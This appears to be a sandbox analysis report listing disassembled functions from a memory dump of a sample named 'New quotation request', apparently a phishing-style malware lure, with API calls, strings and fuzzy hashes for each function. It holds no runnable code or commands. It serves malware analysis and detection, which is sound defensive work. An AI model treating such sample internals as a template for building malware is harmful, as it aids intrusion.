                                                                    • Instruction ID: 8e8a767d83856798657dad1c2498d7eff441d46aca43743e9a8718d1f3e5a34b
                                                                    • Opcode Fuzzy Hash: 512fd97af26cd64dc2359f210e33c8184127ffedc99b3c81cf0f0b7e3c0821a5
                                                                    • Instruction Fuzzy Hash: 1F112A79901218FFEB11DFA5CD85FADBBB8FB48710F2040A5EA40B7290DA716E11DB94
                                                                    Function 002B1290 Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B2612: GetWindowLongW.USER32(?,000000EB), ref: 002B2623
                                                                    • DefDlgProcW.USER32(?,00000020,?), ref: 002B12D8
                                                                    • GetClientRect.USER32(?,?), ref: 002EB5FB
                                                                    • GetCursorPos.USER32(?), ref: 002EB605
                                                                    • ScreenToClient.USER32(?,?), ref: 002EB610
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Client$CursorLongProcRectScreenWindow
                                                                    • String ID:
                                                                    • API String ID: 4127811313-0
                                                                    • Opcode ID: e6613e580b45560cffa1eb3ca37d722ae0de4cfc4b23564d5fb00aa4595b51d6
                                                                    • Instruction ID: f867da672d5cbeddf91c291459405f150e501d5992a3c9d759f02c4531c4801c
                                                                    • Opcode Fuzzy Hash: e6613e580b45560cffa1eb3ca37d722ae0de4cfc4b23564d5fb00aa4595b51d6
                                                                    • Instruction Fuzzy Hash: 39116A35A20029EFCB15DF98C899DEE77B8EB05341F800456F901E7150C730BA618BA5
                                                                    Function 0030D831 Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 0030D84D
                                                                    • LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 0030D864
                                                                    • RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 0030D879
                                                                    • RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 0030D897
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Type$Register$FileLoadModuleNameUser
                                                                    • String ID:
                                                                    • API String ID: 1352324309-0
                                                                    • Opcode ID: c9335401b1d5a9b8ddcda065098fd44756b4bd520afcc003b5f11b21282a2cf5
                                                                    • Instruction ID: 3068293eded064baca4a728742f1e7808d1f29053d1c585e8bd28711da10de75
                                                                    • Opcode Fuzzy Hash: c9335401b1d5a9b8ddcda065098fd44756b4bd520afcc003b5f11b21282a2cf5
                                                                    • Instruction Fuzzy Hash: 4D11A171A02304DFE3218F91ED48F93BBFCEB00B00F50C569A516C6480D7B0E508DBA1
                                                                    Function 002E6FB7 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                                                                    • String ID:
                                                                    • API String ID: 3016257755-0
                                                                    • Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
                                                                    • Instruction ID: 37a55529ed351dbcb7bdba684db331082670829f6af3815022254d9d53c40712
                                                                    • Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
                                                                    • Instruction Fuzzy Hash: 88014C724A818ABBCF165F85CC05CEE3F66BB28395F988415FE1858031D236C9B1AF81
                                                                    Function 0033B2C5 Relevance: 6.0, APIs: 4, Instructions: 47COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetWindowRect.USER32(?,?), ref: 0033B2E4
                                                                    • ScreenToClient.USER32(?,?), ref: 0033B2FC
                                                                    • ScreenToClient.USER32(?,?), ref: 0033B320
                                                                    • InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0033B33B
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ClientRectScreen$InvalidateWindow
                                                                    • String ID:
                                                                    • API String ID: 357397906-0
                                                                    • Opcode ID: 46caf079084bb1b90a9254bf24cc1b27d13f939db43747f7437fca2ab71580eb
                                                                    • Instruction ID: b3a00bd11965d9a244281978a8a86b09e789b9385ae32c211eb8b464233f6e59
                                                                    • Opcode Fuzzy Hash: 46caf079084bb1b90a9254bf24cc1b27d13f939db43747f7437fca2ab71580eb
                                                                    • Instruction Fuzzy Hash: 951143B9D00609EFDB41CFA9C8859EEFBB9FB08310F508166E914E3220D735AA558F50
                                                                    Function 00316BDA Relevance: 6.0, APIs: 4, Instructions: 33COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • EnterCriticalSection.KERNEL32(?), ref: 00316BE6
                                                                      • Part of subcall function 003176C4: _memset.LIBCMT ref: 003176F9
                                                                    • _memmove.LIBCMT ref: 00316C09
                                                                    • _memset.LIBCMT ref: 00316C16
                                                                    • LeaveCriticalSection.KERNEL32(?), ref: 00316C26
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: CriticalSection_memset$EnterLeave_memmove
                                                                    • String ID:
                                                                    • API String ID: 48991266-0
                                                                    • Opcode ID: 68d9d046eaace5241d4219e4ddec734d313abdbe7da63d9bab43a297efa3694b
                                                                    • Instruction ID: 3fe709e5dd9d585e54c0821f5484d89fc21ee1b1dce03ea4e55748104e2a9eb8
                                                                    • Opcode Fuzzy Hash: 68d9d046eaace5241d4219e4ddec734d313abdbe7da63d9bab43a297efa3694b
                                                                    • Instruction Fuzzy Hash: C1F0543A100100ABCF066F55DCC5E8ABB29EF49320F088061FE089E267C771E851CBB4
                                                                    Function 002B2218 Relevance: 6.0, APIs: 4, Instructions: 23COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetSysColor.USER32(00000008), ref: 002B2231
                                                                    • SetTextColor.GDI32(?,000000FF), ref: 002B223B
                                                                    • SetBkMode.GDI32(?,00000001), ref: 002B2250
                                                                    • GetStockObject.GDI32(00000005), ref: 002B2258
                                                                    • GetWindowDC.USER32(?,00000000), ref: 002EBE83
                                                                    • GetPixel.GDI32(00000000,00000000,00000000), ref: 002EBE90
                                                                    • GetPixel.GDI32(00000000,?,00000000), ref: 002EBEA9
                                                                    • GetPixel.GDI32(00000000,00000000,?), ref: 002EBEC2
                                                                    • GetPixel.GDI32(00000000,?,?), ref: 002EBEE2
                                                                    • ReleaseDC.USER32(?,00000000), ref: 002EBEED
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
                                                                    • String ID:
                                                                    • API String ID: 1946975507-0
                                                                    • Opcode ID: c844055125d1402d838961265bc3cbd241e63b138d2b0df60e2af51bc17699d7
                                                                    • Instruction ID: efd9cb06918fdac9bf9ce41756e5c508b3a2197f5079bbba1cb1eed03a75cfcf
                                                                    • Opcode Fuzzy Hash: c844055125d1402d838961265bc3cbd241e63b138d2b0df60e2af51bc17699d7
                                                                    • Instruction Fuzzy Hash: 88E03031954245EEDF225F64FC4D7D83B14EB15332F448366FA69480E187714590DB11
                                                                    Function 00308712 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetCurrentThread.KERNEL32 ref: 0030871B
                                                                    • OpenThreadToken.ADVAPI32(00000000,?,?,?,003082E6), ref: 00308722
                                                                    • GetCurrentProcess.KERNEL32(00000028,?,?,?,?,003082E6), ref: 0030872F
                                                                    • OpenProcessToken.ADVAPI32(00000000,?,?,?,003082E6), ref: 00308736
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: CurrentOpenProcessThreadToken
                                                                    • String ID:
                                                                    • API String ID: 3974789173-0
                                                                    • Opcode ID: 27ffca1d965619e1a568e2b30ae27b0fa6c0f97e07b115baaba9d52f26aa1624
                                                                    • Instruction ID: f5e4a1e367ae0d3a27a79276afebf36d0270fc40249ae21402b418213f7c3ff3
                                                                    • Opcode Fuzzy Hash: 27ffca1d965619e1a568e2b30ae27b0fa6c0f97e07b115baaba9d52f26aa1624
                                                                    • Instruction Fuzzy Hash: F1E08636A122119FD7215FB49D4CB573BACEF50B91F554828B2C5C9091DB348441C750
                                                                    Function 002B6240 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 317COMMON
                                                                    Download Yara Rule
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: %4
                                                                    • API String ID: 0-762753230
                                                                    • Opcode ID: 97b850f2ddaac0d5953adf0982a28a4f27839bd9d895ec5539f46593604aa836
                                                                    • Instruction ID: 3d02f00984564045611ebd9b6d01381caeb44dced5fde81cd9756c9b76ffb174
                                                                    • Opcode Fuzzy Hash: 97b850f2ddaac0d5953adf0982a28a4f27839bd9d895ec5539f46593604aa836
                                                                    • Instruction Fuzzy Hash: 88B12B71C2010ADBCF24EF94C489AFDB7B8FF44390F544166E905A7191DB789EA1CB51
                                                                    Function 0032AEA2 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 313COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: __itow_s
                                                                    • String ID: xb7$xb7
                                                                    • API String ID: 3653519197-2383554142
                                                                    • Opcode ID: c15cf06b45bee8e28d83594c1f726054db681ee9194abf8f5265653dbe846437
                                                                    • Instruction ID: a6cbfc13b05add55d6296cf631575bad6894dc1a09883a3c62e09165fb7762a5
                                                                    • Opcode Fuzzy Hash: c15cf06b45bee8e28d83594c1f726054db681ee9194abf8f5265653dbe846437
                                                                    • Instruction Fuzzy Hash: 6FB17F70A00219EFCB25DF54D891EFABBB9FF58340F14845AF9459B252EB30E991CB60
                                                                    Function 0031AFAC Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201shareCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002CFC86: _wcscpy.LIBCMT ref: 002CFCA9
                                                                      • Part of subcall function 002B9837: __itow.LIBCMT ref: 002B9862
                                                                      • Part of subcall function 002B9837: __swprintf.LIBCMT ref: 002B98AC
                                                                    • __wcsnicmp.LIBCMT ref: 0031B02D
                                                                    • WNetUseConnectionW.MPR(00000000,?,?,00000000,?,?,00000100,?), ref: 0031B0F6
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
                                                                    • String ID: LPT
                                                                    • API String ID: 3222508074-1350329615
                                                                    • Opcode ID: 7ab4804d3aad1d90542ae038476e8dfc5e9799a0319c8a34db99a7d1c5dad2c7
                                                                    • Instruction ID: 10ef548da22d7f0332e416178a79a1609403cde75d35f8d3c69eeb4070b0a996
                                                                    • Opcode Fuzzy Hash: 7ab4804d3aad1d90542ae038476e8dfc5e9799a0319c8a34db99a7d1c5dad2c7
                                                                    • Instruction Fuzzy Hash: A5617175A10215AFCB19DF94C891EEEF7B9EF0C310F118169F916AB2A1D770AE80CB50
                                                                    Function 002C2957 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • Sleep.KERNEL32(00000000), ref: 002C2968
                                                                    • GlobalMemoryStatusEx.KERNEL32(?), ref: 002C2981
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: GlobalMemorySleepStatus
                                                                    • String ID: @
                                                                    • API String ID: 2783356886-2766056989
                                                                    • Opcode ID: 7b554210f9803daa2cd3afbf75bb85f879f4897b5b5f2393c94f8e51b6e9739f
                                                                    • Instruction ID: 55abe9ee8977310c2bd1f68ea015d6864306ed48c0aaf0be61af8ed83d0103ae
                                                                    • Opcode Fuzzy Hash: 7b554210f9803daa2cd3afbf75bb85f879f4897b5b5f2393c94f8e51b6e9739f
                                                                    • Instruction Fuzzy Hash: DA5134724287449BD320EF10D886BEBBBECFB85385F81885DF2D8410A1DB319579CB66
                                                                    Function 00319734 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B4F0B: __fread_nolock.LIBCMT ref: 002B4F29
                                                                    • _wcscmp.LIBCMT ref: 00319824
                                                                    • _wcscmp.LIBCMT ref: 00319837
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: _wcscmp$__fread_nolock
                                                                    • String ID: FILE
                                                                    • API String ID: 4029003684-3121273764
                                                                    • Opcode ID: 6a4edb2c2243d89e8d8ea38b3e15a108ddb302b8fd5ebb790160d2855bb0574c
                                                                    • Instruction ID: 650c519a8f812517a6a7fc66caf9c644a83c41d8506bd9a12c5a56a3532882c3
                                                                    • Opcode Fuzzy Hash: 6a4edb2c2243d89e8d8ea38b3e15a108ddb302b8fd5ebb790160d2855bb0574c
                                                                    • Instruction Fuzzy Hash: C741D871A00209BADF25AFA0CC85FEFB7BDDF89750F01047AF904B7281DA71A9548B61
                                                                    Function 002F0574 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 115COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ClearVariant
                                                                    • String ID: Dd7$Dd7
                                                                    • API String ID: 1473721057-1285796119
                                                                    • Opcode ID: 5c7343657468570f048573089fdf073bfaa61a7f37a0306b8ce23cf3b051e4cd
                                                                    • Instruction ID: c6da1e9b1a6fe84f952e850753e3c589df07fad111cd0c983b5e509d6648d01a
                                                                    • Opcode Fuzzy Hash: 5c7343657468570f048573089fdf073bfaa61a7f37a0306b8ce23cf3b051e4cd
                                                                    • Instruction Fuzzy Hash: 075105786283429FD764CF19C490A6ABBF1FB99394F54885DE9898B321D331EC91CF42
                                                                    Function 0032258E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 0032259E
                                                                    • InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 003225D4
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: CrackInternet_memset
                                                                    • String ID: |
                                                                    • API String ID: 1413715105-2343686810
                                                                    • Opcode ID: 4d983a563f2dcf962c6bf59ab88e8eb9d2491e9c2931a74f880b5d154f7952e5
                                                                    • Instruction ID: 3d44386bae5ed88cc75c4fa9239a1f186cd123c23d1996a38b473b4befb34f58
                                                                    • Opcode Fuzzy Hash: 4d983a563f2dcf962c6bf59ab88e8eb9d2491e9c2931a74f880b5d154f7952e5
                                                                    • Instruction Fuzzy Hash: 0A31F671C10119EBDF01EFA1DC85EEEBFB9FF08350F140069E915A6162EA315966EFA0
                                                                    Function 00337A71 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageW.USER32(?,00001132,00000000,?), ref: 00337B61
                                                                    • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00337B76
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend
                                                                    • String ID: '
                                                                    • API String ID: 3850602802-1997036262
                                                                    • Opcode ID: 4d1e2316733407a9a0140f27846724a066e86b0c9b8467fcc807688d433efe09
                                                                    • Instruction ID: 6bddcbeeaa8f40c895dfcc01af6d16f1020e7bc6f9b14a198954727ab42e6ce9
                                                                    • Opcode Fuzzy Hash: 4d1e2316733407a9a0140f27846724a066e86b0c9b8467fcc807688d433efe09
                                                                    • Instruction Fuzzy Hash: 8941F8B4A0520AAFDB25CF64C9C1BDABBB9FB09300F15016AE909EB351D770A951CF90
                                                                    Function 00336A63 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • DestroyWindow.USER32(?,?,?,?), ref: 00336B17
                                                                    • MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00336B53
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Window$DestroyMove
                                                                    • String ID: static
                                                                    • API String ID: 2139405536-2160076837
                                                                    • Opcode ID: ee61f047edf4a5497382601937950be73312aacfaa754578b8aac7337a85ca86
                                                                    • Instruction ID: 7e1a5625b4a146e3dde4f74a0e17076d3b8f2ca5af851899af075aa9383428da
                                                                    • Opcode Fuzzy Hash: ee61f047edf4a5497382601937950be73312aacfaa754578b8aac7337a85ca86
                                                                    • Instruction Fuzzy Hash: 74319E71210604AEEB129F65CC81BFBB3ADFF48760F11C619F9A9D7190DA30AC91CB60
